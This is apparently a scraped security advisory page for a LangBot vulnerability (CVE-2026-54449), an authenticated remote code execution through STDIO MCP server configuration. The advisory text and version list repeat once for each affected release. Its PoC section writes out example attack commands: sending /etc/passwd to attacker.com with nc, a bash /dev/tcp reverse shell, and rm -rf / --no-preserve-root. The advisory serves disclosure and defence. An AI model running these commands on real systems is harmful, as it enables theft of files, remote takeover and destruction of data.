SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.6.5
patch
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.6.4
patch
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.6.3
patch
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.6.2
patch
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.6.1
patch
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.6.0
minor
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.5.4
patch
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.5.3
patch
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.5.2
patch
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.5.1
minor
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.6.0b2
pre
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.6.0b1
pre
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.4.1b1
pre
1 CVE
CVE-2026-54449
PYSEC-2026-3473
GHSA-3pvh-63gf-j9mw
Jul 23, 2026
LangBot: Authenticated RCE Via MCP Configuration
8.8
/ 10
High
Network
Low
Low
None
Unchanged
High
High
High
SummaryAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. DetailsThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. PoC
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ImpactThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). Video POChttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea Resourceshttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ Affected versions
4.1.0
4.1.1b1
4.10.0
4.10.0b1
4.10.0b2
4.10.0b3
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.4.1b1
+ 31 more Show less
4.5.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.0b1
4.6.0b2
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
4.7.0
4.7.1
4.7.2
4.8.0
4.8.1
4.8.2
4.8.3
4.8.4
4.8.5
4.8.6
4.8.7
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.9.5
4.9.6
4.9.7
References Updated Jul 23, 2026 · Source: OSV.dev | ||
4.1.1b1
pre
